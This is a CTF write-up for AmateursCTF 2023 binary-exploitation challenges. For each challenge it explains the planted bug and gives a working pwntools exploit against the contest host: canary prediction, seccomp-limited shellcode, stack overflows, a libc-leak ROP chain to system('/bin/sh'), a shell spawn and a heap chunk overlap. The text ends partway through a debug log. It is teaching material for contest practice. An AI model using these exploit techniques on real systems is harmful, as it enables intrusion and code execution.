AmateursCTF 2023 Write-Up
TODO: Write a foreword and afterword
rntk
There are the familiar buffer overflow and win function.
However, the uniquely implemented canary prevents easy ret2win...
// random_guess() printf("Enter in a number as your guess: "); canary = generated_canary; gets(guess); lVar2 = strtol(guess,(char **)0x0,10); local_10 = (int)lVar2; if (canary != global_canary) { puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!"); exit(1); }
Let's see how the canary is generated.
void generate_canary(void) { time_t seed; seed = time((time_t *)0x0); srand((uint)seed); global_canary = rand(); return; }
The canary is generated by the rand function but the seed is generated from the current time.
Fortunately, the time function returns values in seconds, not milliseconds.
man command says
On success, the value of time in seconds since the Epoch is returned.
https://www.man7.org/linux/man-pages/man2/time.2.html
Therefore, we can guess canary, the return value of the rand function if we execute a function that performs the same process with an error of less than one second !
// hyper_guesser.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main() { time_t seed; seed = time(NULL); srand(seed); printf("guess: %d\n", rand()); getchar(); }
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep import subprocess context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31175) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *0x4013a3 c """ p = gdb.debug(chall,cmd) else: p = process(chall) q = process("./hyper_guesser") q.recvuntil(b"guess: ") canary = eval(q.recvline().rstrip()) q.sendline() log.info("canary: " + hex(canary)) q.close() payload = b'A' * 40 payload += p32(0xdeadbeef) payload += p32(canary) payload += p64(0xdeadbeefcafebabe) payload += p64(elf.symbols["win"]) p.sendlineafter("3) Exit", '2') p.sendlineafter(':', payload) p.interactive()
Flag: amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}
permissions
It's a shellcode challenge but the seccomp is enabled.
$ seccomp-tools dump ./chal > foo line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009 0008: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
We can call only read, write and exit syscall.
So I focussed how to get the flag address.
Let's look at the state of the registers just before executing the shell code (main+463
).
gef> b *main+463 Breakpoint 1 at 0x1556 gef> r Starting program: /home/t3mp/ctf/AmateursCTF_2023/permissions/chal warning: the debug information found in "/usr/lib/debug//usr/lib/libc.so.6.debug" does not match "/usr/lib/libc.so.6" (CRC mismatch). [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". > AABBCCDD Breakpoint 1, 0x0000555555555556 in main () [ Legend: Modified register | Code | Heap | Stack | Writable | NONE | RWX | String ] ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ---- $rax : 0x00007ffff7fc3000 -> 'amateursCTF{exec_1mpl13s_r34d_8751fda0}\n' $rbx : 0x00007fffffffde48 -> 0x00007fffffffe181 -> '/home/t3mp/ctf/AmateursCTF_2023/permissions/chal' $rcx : 0x0000000000000007 $rdx : 0x00007ffff7c7f000 -> 'AABBCCDD\n' $rsp : 0x00007fffffffdd10 -> 0x0000000000000000 $rbp : 0x00007fffffffdd30 -> 0x0000000000000001 $rsi : 0x000055500000f72a $rdi : 0x00007ffff7fc3000 -> 'amateursCTF{exec_1mpl13s_r34d_8751fda0}\n' $rip : 0x0000555555555556 <main+0x1cf> -> 0xe800000000bfd2ff $r8 : 0x000055555555a170 -> 0x000055500000f72a $r9 : 0x000055555555a170 -> 0x000055500000f72a $r10 : 0x0000000000000001 $r11 : 0xe7a048f98a33e50c $r12 : 0x0000000000000000 $r13 : 0x00007fffffffde58 -> 0x00007fffffffe1b2 -> 'SHELL=/bin/bash' $r14 : 0x00007ffff7ffd000 <_rtld_global> -> 0x00007ffff7ffe2c0 -> 0x0000555555554000 -> 0x00010102464c457f $r15 : 0x0000555555557d58 -> 0x0000555555555260 <__do_global_dtors_aux> -> 0x2ddd3d80fa1e0ff3
Awesome ! There are two registers that have the flag address !
We can just write the shellcode.
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31174) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+463 c """ p = gdb.debug(chall,cmd) else: p = process(chall) """ line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009 0008: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL """ shellcode = f''' // write(stdout, flag_addr, 0x30) mov rdi, 1 mov rsi, rax mov rdx, 0x30 mov rax, 1 syscall ''' p.recvuntil(">") p.send(asm(shellcode)) p.interactive()
Flag: amateursCTF{exec_1mpl13s_r34d_8751fda0}
hex-converter
The source code is provided !
(I would like this to be standardized)
#include <stdio.h> #include <stdlib.h> int main() { setbuf(stdout, NULL); setbuf(stderr, NULL); int i = 0; char name[16]; printf("input text to convert to hex: \n"); gets(name); char flag[64]; fgets(flag, 64, fopen("flag.txt", "r")); // TODO: PRINT FLAG for cool people ... but maybe later while (i < 16) { // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe printf("%02X", (unsigned int)(name[i] & 0xFF)); i++; } printf("\n"); }
name
has buffer overflow vulnerability.
Let's see what we can overwrite.
gdb -q ./chal Loading GEF... GEF for linux ready, type `gef' to start, `gef config' to configure 216 commands loaded for GDB 13.1 using Python engine 3.11 Reading symbols from ./chal... This GDB supports auto-downloading debuginfo from the following URLs: <https://debuginfod.archlinux.org> Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. (No debugging symbols found in ./chal) gef> b *main+147 Breakpoint 1 at 0x401219 gef> r Starting program: /home/t3mp/ctf/AmateursCTF_2023/hex-converter/chal warning: the debug information found in "/usr/lib/debug//usr/lib/libc.so.6.debug" does not match "/usr/lib/libc.so.6" (CRC mismatch). [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". input text to convert to hex: AABBCCDD gef> telescope $rsp 0x7fffffffdcc0|+0x0000|000: 'amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}\n' <- $rsp 0x7fffffffdcc8|+0x0008|001: 'CTF{wait_this_wasnt_supposed_to_be_printed_76723}\n' 0x7fffffffdcd0|+0x0010|002: '_this_wasnt_supposed_to_be_printed_76723}\n' 0x7fffffffdcd8|+0x0018|003: 'snt_supposed_to_be_printed_76723}\n' 0x7fffffffdce0|+0x0020|004: 'osed_to_be_printed_76723}\n' 0x7fffffffdce8|+0x0028|005: 'be_printed_76723}\n' 0x7fffffffdcf0|+0x0030|006: 'ed_76723}\n' 0x7fffffffdcf8|+0x0038|007: 0x0000000000000a7d ('}\n'?) 0x7fffffffdd00|+0x0040|008: 'AABBCCDD' 0x7fffffffdd08|+0x0048|009: 0x00007ffff7fe6200 -> 0x0052a7e80000002f ('/'?) 0x7fffffffdd10|+0x0050|010: 0x0000000000000000 0x7fffffffdd18|+0x0058|011: 0x00000000f7ffdab0 0x7fffffffdd20|+0x0060|012: 0x0000000000000001 <- $rbp 0x7fffffffdd28|+0x0068|013: 0x00007ffff7dc4850 -> 0xe800018939e8c789 0x7fffffffdd30|+0x0070|014: 0x00007fffffffde20 -> 0x00007fffffffde28 -> 0x0000000000000038 ('8'?) 0x7fffffffdd38|+0x0078|015: 0x0000000000401186 <main> -> 0x60ec8348e5894855
And here is disassembly of the main function (partialy)
0x000000000040120f <+137>: mov edi,0x40203a 0x0000000000401214 <+142>: mov eax,0x0 0x0000000000401219 <+147>: call 0x401060 <printf@plt> 0x000000000040121e <+152>: add DWORD PTR [rbp-0x4],0x1 0x0000000000401222 <+156>: cmp DWORD PTR [rbp-0x4],0xf 0x0000000000401226 <+160>: jle 0x4011fd <main+119> 0x0000000000401228 <+162>: mov edi,0xa 0x000000000040122d <+167>: call 0x401030 <putchar@plt> 0x0000000000401232 <+172>: mov eax,0x0 0x0000000000401237 <+177>: leave 0x0000000000401238 <+178>: ret
<+156>: cmp DWORD PTR [rbp-0x4],0xf
is interesting behavior because the loop is repeated 0xf
times.
// ---- snip ---- while (i < 16) { // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe printf("%02X", (unsigned int)(name[i] & 0xFF)); i++; } printf("\n"); // ---- snip ----
Yeah, we realize that ebp-0x4
represents int i
and can be overwritten !
By rewriting i
to a negative number, we can refer to a low-order address than the name array (e.g. name[-0x8]
), and it looks like we can refer to the flag !
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31630) elif len(argv) >= 2 and argv[1] == "d": cmd = """ #b *main+117 b *main+147 #b *main+152 c """ p = gdb.debug(chall,cmd) else: p = process(chall) def hex_to_ascii(hex_string): hex_bytes = bytes.fromhex(hex_string) ascii_string = hex_bytes.decode('ascii') return ascii_string payload = b"A" * 8 * 3 payload += p32(0) payload += p32(0xffffffc0)# overwrite i to -64 p.recvuntil(":") p.sendline(payload) flag = hex_to_ascii(p.recvuntil(b"00").rstrip().decode()) log.info("Flag: " + flag) p.interactive()
Flag: amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}
hex-converter-2
#include <stdio.h> #include <stdlib.h> int main() { setbuf(stdout, NULL); setbuf(stderr, NULL); int i = 0; char name[16]; printf("input text to convert to hex: \n"); gets(name); char flag[64]; fgets(flag, 64, fopen("flag.txt", "r")); // TODO: PRINT FLAG for cool people ... but maybe later while (1) { // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe printf("%02X", (unsigned int)(name[i] & 0xFF)); // exit out of the loop if (i <= 0) { printf("\n"); return 0; } i--; } }
We can still overwrite i
, but there are measures against negative numbers...
Don't worry, take a closer look, the increment has changed to a decrement.
By writing a larger value to i
, we can refer to a high-order address (e.g. name[0x100]
).
The provided Dockerfile specifies the use of Debian 11 bullseye and __libc_start_main+0x85
is exist on high-order address !
FROM pwn.red/jail COPY --from=debian:bookworm-slim / /srv COPY chal /srv/app/run COPY flag.txt /srv/app/flag.txt RUN chmod 755 /srv/app/run ENV JAIL_MEM=10M JAIL_TIME=60
0x7fffffffdcc0|+0x0000|000: 'amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}\n' <- $rax, $rsp 0x7fffffffdcc8|+0x0008|001: 'CTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}\n' 0x7fffffffdcd0|+0x0010|002: 'her_e4sier_0ne_t0_offset_unvariant_while_l00p}\n' 0x7fffffffdcd8|+0x0018|003: 'er_0ne_t0_offset_unvariant_while_l00p}\n' 0x7fffffffdce0|+0x0020|004: '0_offset_unvariant_while_l00p}\n' 0x7fffffffdce8|+0x0028|005: '_unvariant_while_l00p}\n' 0x7fffffffdcf0|+0x0030|006: 'nt_while_l00p}\n' 0x7fffffffdcf8|+0x0038|007: 0x000a7d7030306c5f ('_l00p}\n'?) 0x7fffffffdd00|+0x0040|008: 'AABBCCDD' # name 0x7fffffffdd08|+0x0048|009: 0x00007ffff7fe6e00 -> 0x66ffffff5ae9ffff 0x7fffffffdd10|+0x0050|010: 0x0000000000000000 0x7fffffffdd18|+0x0058|011: 0x00000000f7ffdad0 0x7fffffffdd20|+0x0060|012: 0x0000000000000001 <- $rbp 0x7fffffffdd28|+0x0068|013: 0x00007ffff7e0918a -> 0xe8000173ffe8c789 0x7fffffffdd30|+0x0070|014: 0x00007fffffffde20 -> 0x00007fffffffde28 -> 0x0000000000000038 ('8'?) 0x7fffffffdd38|+0x0078|015: 0x0000000000401186 <main> -> 0x60ec8348e5894855 0x7fffffffdd40|+0x0080|016: 0x00000001003fe040 0x7fffffffdd48|+0x0088|017: 0x00007fffffffde38 -> 0x00007fffffffe175 -> '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal' 0x7fffffffdd50|+0x0090|018: 0x00007fffffffde38 -> 0x00007fffffffe175 -> '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal' 0x7fffffffdd58|+0x0098|019: 0xe8f495499a201bc7 0x7fffffffdd60|+0x00a0|020: 0x0000000000000000 0x7fffffffdd68|+0x00a8|021: 0x00007fffffffde48 -> 0x00007fffffffe1aa -> 'SHELL=/bin/bash' 0x7fffffffdd70|+0x00b0|022: 0x0000000000403e00 -> 0x0000000000401150 <__do_global_dtors_aux> -> 0x2f0d3d80fa1e0ff3 0x7fffffffdd78|+0x00b8|023: 0x00007ffff7ffd020 <_rtld_global> -> 0x00007ffff7ffe2e0 -> 0x0000000000000000 0x7fffffffdd80|+0x00c0|024: 0x170b6ab620421bc7 0x7fffffffdd88|+0x00c8|025: 0x170b7a88b8a61bc7 0x7fffffffdd90|+0x00d0|026: 0x0000000000000000 0x7fffffffdd98|+0x00d8|027: 0x0000000000000000 0x7fffffffdda0|+0x00e0|028: 0x0000000000000000 0x7fffffffdda8|+0x00e8|029: 0x00007fffffffde38 -> 0x00007fffffffe175 -> '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal' 0x7fffffffddb0|+0x00f0|030: 0x00007fffffffde38 -> 0x00007fffffffe175 -> '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal' 0x7fffffffddb8|+0x00f8|031: 0x53f98f83e9b22e00 <- canary 0x7fffffffddc0|+0x0100|032: 0x000000000000000d ('\r'?) 0x7fffffffddc8|+0x0108|033: 0x00007ffff7e09245 <__libc_start_main+0x85> -> 0x4d001aad243d8b4c
Therefore, we can use the libc.so.6
copied from the Docker container (Debian bookworm) and the libc leak to find the libc base.
Then, by returning to the main function again (ret2main), you can build a ROP chain using libc addresses !
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31631) elif len(argv) >= 2 and argv[1] == "d": cmd = """ #b *main+117 b *main+180 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # leak address && ret2main rop_ret = 0x00401248 payload = b"A" * 8 * 3 payload += p64(0x000000cd00000000) payload += p64(0xdeadbeefcafebabe) payload += p64(rop_ret)# for movaps@printf payload += p64(elf.symbols["main"]) p.recvuntil(":") p.sendline(payload) p.recvline() leak = eval(b"0x" + p.recv(12)) log.info("leak: " + hex(leak)) libc_base = leak - libc.symbols["__libc_start_main"] - 0x85 libc.address = libc_base log.info("libc base: " + hex(libc_base)) rop_pop_rdi = libc_base + 0x0017a00f payload = b"B" * 8 * 3 payload += p64(0) payload += p64(0xdeadbeefcafebabe) payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(next(libc.search(b"/bin/sh\0"))) payload += p64(libc.symbols["system"]) p.recvuntil(":") p.sendline(payload) p.interactive()
Flag: amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}
I-love-ffi
A shared library written by Rust prevents free mmap.
pub struct MmapArgs { addr: u64, length: u64, protection: u32, flags: u32, fd: u32, offset: u64, } #[no_mangle] pub extern "C" fn mmap_args() -> MmapArgs { let args = MmapArgs { addr: read::<u64>(), length: read::<u64>(), protection: read::<u32>(), flags: read::<u32>(), fd: read::<u32>(), offset: read::<u64>(), }; if args.protection & 4 != 0 { panic!("PROT_EXEC not allowed"); } args }
Just mmap with writable and executable to bypass this.
def mmap(addr: int, length: int, fd: int, offset: int, prot: int): p.sendlineafter(b'>', str(addr)) p.sendlineafter(b'>', str(length)) p.sendlineafter(b'>', str(fd)) p.sendlineafter(b'>', str(0xdeadbeef)) p.sendlineafter(b'>', str(offset)) p.sendlineafter(b'>', str(prot)) # r: 1, w: 2, x: 4 mmap(0, 0x1000, 0, 0, 6)
0x00007f1454ae9000 0x00007f1454aea000 0x0000000000001000 0x0000000000000000 -wx <- $rax
btw, I wonder why the order in which the arguments are read is so messed up.
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31172) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *mmap_args+83 c """ p = gdb.debug(chall,cmd) else: p = process(chall) def mmap(addr: int, length: int, fd: int, offset: int, prot: int): p.sendlineafter(b'>', str(addr)) p.sendlineafter(b'>', str(length)) p.sendlineafter(b'>', str(fd)) p.sendlineafter(b'>', str(0xdeadbeef)) p.sendlineafter(b'>', str(offset)) p.sendlineafter(b'>', str(prot)) # r: 1, w: 2, x: 4 mmap(0, 0x1000, 0, 0, 6) sc = asm(shellcraft.sh()) p.send(sc) p.sendlineafter(b'>', b'0') p.interactive()
Flag: amateursCTF{1_l0v3_struct_p4dding}
ELFcrafting-v1
Need to create a tiny executable file.
Don't worry, Linux Kernel supports the shebang as executable file.
https://elixir.bootlin.com/linux/v5.15/source/fs/binfmt_script.c#L34
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31178) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main c """ p = gdb.debug(chall,cmd) else: p = process(chall) payload = b"#!/bin/cat ./flag.txt" p.recvuntil(b'!') p.sendline(payload) p.interactive()
Flag: amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}
perfect-sandbox
Random values are extracted to randomize the address where the Flag is placed.
#define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <err.h> #include <time.h> #include <fcntl.h> #include <sys/mman.h> #include <string.h> #include <linux/seccomp.h> #include <seccomp.h> void setup_seccomp () { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); int ret = 0; ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); ret |= seccomp_load(ctx); if (ret) { errx(1, "seccomp failed"); } } int main () { setbuf(stdout, NULL); setbuf(stderr, NULL); char * tmp = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); int urandom = open("/dev/urandom", O_RDONLY); if (urandom < 0) { errx(1, "open /dev/urandom failed"); } read(urandom, tmp, 4); close(urandom); unsigned int offset = *(unsigned int *)tmp & ~0xFFF; uint64_t addr = 0x1337000ULL + (uint64_t)offset; char * flag = mmap((void *)addr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (flag == MAP_FAILED) { errx(1, "mapping flag failed"); } int fd = open("flag.txt", O_RDONLY); if (fd < 0) { errx(1, "open flag.txt failed"); } read(fd, flag, 128); close(fd); char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); if (code == MAP_FAILED) { errx(1, "mmap failed"); } char * stack = mmap((void *)0x13371337000, 0x4000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_GROWSDOWN, -1, 0); if (stack == MAP_FAILED) { errx(1, "failed to map stack"); } printf("> "); read(0, code, 0x100000); setup_seccomp(); asm volatile( ".intel_syntax noprefix\n" "mov rbx, 0x13371337\n" "mov rcx, rbx\n" "mov rdx, rbx\n" "mov rdi, rbx\n" "mov rsi, rbx\n" "mov rsp, 0x13371337000\n" "mov rbp, rbx\n" "mov r8, rbx\n" "mov r9, rbx\n" "mov r10, rbx\n" "mov r11, rbx\n" "mov r12, rbx\n" "mov r13, rbx\n" "mov r14, rbx\n" "mov r15, rbx\n" "jmp rax\n" ".att_syntax prefix\n" : : [code] "rax" (code) : ); }
The challenge brief mentions several papers.
This is a perfect sandbox with absolutely no way to leak the flag!
nc amt.rs 31173
You should probably read https://arxiv.org/pdf/2304.07940.pdf or https://gruss.cc/files/prefetch.pdf.
Interesting stuff, however I did not feel motivated to read the papers.
After several observations, I found that the original value (from /dev/urandom
) that randomizes the Flag address is placed at a specific offset position with respect to the mapped library (e.g. libseccomp.so.2.5.3
).
Furthermore, the challenge is No PIE and can leak the library address by reading the value from the GOT section.
$ checksec ./chal [*] '/home/t3mp/ctf/AmateursCTF_2023/perfect-sandbox/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000)
Thus, we can calculate the Flag address based on the random value we get.
All that is left is to formulate it in shell code.
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chal" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() offset = 0 if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31173) # idk why offset is difference offset = 0x1000 * 2 elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+89 b *main+643 c """ p = gdb.debug(chall,cmd) else: p = process(chall) """ line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008 0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008 0007: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL """ bss = 0x404000+0x100 sc = f''' // write(stdout, seccomp_init@got, 8) mov rdi, 1 mov rsi, {elf.got["seccomp_init"]} mov rdx, 8 mov rax, 1 syscall // get random_val_addr mov rcx, [{elf.got["seccomp_init"]}] sub rcx, 0x0d3d0 add rcx, 0x59000 add rcx, {offset} // write(stdout, random_val_addr, 4) mov rdi, 1 mov rsi, rcx mov rdx, 4 mov rax, 1 syscall // read(stdin, bss, 0x100) xor rdi, rdi mov rsi, {bss} mov rdx, 0x8 xor rax, rax syscall // write(stdout, flag_addr, 0x50) mov rdi, 1 mov rsi, [{bss}] mov rdx, 0x30 mov rax, 1 syscall // exit xor rdi, rdi mov rax, 60 syscall ''' p.recvuntil(">") p.send(asm(sc)) p.recvuntil("\x20") # leak seccomp_init@got leak = u64(p.recv(8)) seccomp_base = leak - 0x0d3d0 log.info("seccomp base: " + hex(seccomp_base)) # get address of random val rand_val_addr = seccomp_base + 0x59000 log.info("radom value @ " + hex(rand_val_addr)) # calc flag address rand_val = u32(p.recv(4)) log.info("rand_val: " + hex(rand_val)) offset = rand_val & ~0xFFF flag_addr = 0x1337000 + offset log.info("flag_addr: " + hex(flag_addr)) # send flag address (recv at 69 line) p.send(p64(flag_addr)) p.interactive()
Flag: amateursCTF{3xc3pt10n_suppr3ss10n_ftw}
simple-heap-v1
The flow of heap is as follows
1. A = malloc(size)
2. Fill in the size minute input
3. B = malloc(size)
4. Fill in the size minute input
5. FLAG = malloc(0x80)
6. print(B)
7. free(FLAG)
8. change one character of B
9. FALG = malloc(0x80)
10. print(B)
11. free(FLAG)
12. free(B)
13. C = malloc(size)
14. Fill in the size minute input
15. FLAG = malloc(0x80)
16. print(C)
17. free(FLAG)
18. exit
Most noteworthy is the ability to write any 1 byte anywhere in the heap by means of an out-of-range reference when change at 8.
After Step 11, the heap will be as follows:
gef> heap chunks Chunk(addr=0x5579b00ec000, size=0x290, flags=PREV_INUSE, fd=0x000000000000, bk=0x1000000000000) Chunk(addr=0x5579b00ec290, size=0x1010, flags=PREV_INUSE, fd=0x0000000a0ab0, bk=0x000000000000, fd_nextsize=0x000000000000, bk_nextsize=0x000000000000) # chunk A Chunk(addr=0x5579b00ed2a0, size=0x20, flags=PREV_INUSE, fd=0x4141414141414141, bk=0x000000000000) # chunk B Chunk(addr=0x5579b00ed2c0, size=0x20, flags=PREV_INUSE, fd=0x4242424242424242, bk=0x4242424242424242) # Flag Chunk(addr=0x5579b00ed2e0, size=0x90, flags=PREV_INUSE, fd=0x0005579b00ed, bk=0xf649f1444f4c01c9) <- tcache[7] Chunk(addr=0x5579b00ed370, size=0x1fc90, flags=PREV_INUSE, fd=0x000000000000, bk=0x000000000000, fd_nextsize=0x000000000000, bk_nextsize=0x000000000000) <- top
gef> heap bins ----------------------------------- Tcachebins for arena 'main_arena' ----------------------------------- Tcachebins[idx=7, size=0x90, @0x5579b00ec0c8] count=1 -> Chunk(addr=0x5579b00ed2e0, size=0x90, flags=PREV_INUSE, fd=0x0005579b00ed, bk=0xf649f1444f4c01c9) [+] Found 1 chunks in tcache. ------------------------------------ Fastbins for arena 'main_arena' ------------------------------------ [+] Found 0 chunks in fastbin. ---------------------------------- Unsorted Bin for arena 'main_arena' ---------------------------------- [+] Found 0 chunks in unsorted bin. ----------------------------------- Small Bins for arena 'main_arena' ----------------------------------- [+] Found 0 chunks in 0 small non-empty bins. ----------------------------------- Large Bins for arena 'main_arena' ----------------------------------- [+] Found 0 chunks in 0 large non-empty bins.
Since the chunk for the Flag is linked to the tcache, it is expected that the same location will be allocated in the next malloc.
Therefore, even if we modify the size of chunk B and disguise the chunk for the Flag as part of chunk B, the Flag will be allocated within chunk B !
All that remains is to allocate a chunk of the same size as the faked size.
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./simple-heap-v1" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("amt.rs", 31176) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+275 c """ p = gdb.debug(chall,cmd) else: p = process(chall) p.sendlineafter(':', str(0x8)) p.sendafter(':', b'A' * 0x8) p.sendlineafter(':', str(0x10)) p.sendafter(':', b'B' * 0x10) index = -8 new_char = b'\xb0' p.sendlineafter(':', str(index)) p.sendlineafter(':', new_char) p.sendlineafter(':', str(0xa0)) p.sendafter(':', b'C' * 0xa0) p.interactive()
[*] '/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/simple-heap-v1' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to amt.rs on port 31176: Done /home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(':', str(0x8)) /home/t3mp/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [DEBUG] Received 0x1b bytes: b'Welcome to the flag checker' [DEBUG] Received 0x7 bytes: b'\n' b'size: ' [DEBUG] Sent 0x2 bytes: b'8\n' /home/t3mp/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:813: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [DEBUG] Received 0x6 bytes: b'data: ' [DEBUG] Sent 0x8 bytes: b'A' * 0x8 /home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(':', str(0x10)) [DEBUG] Received 0x2d bytes: b"I'll give you three chances to guess my flag." [DEBUG] Received 0x7 bytes: b'\n' b'size: ' [DEBUG] Sent 0x3 bytes: b'16\n' [DEBUG] Received 0x6 bytes: 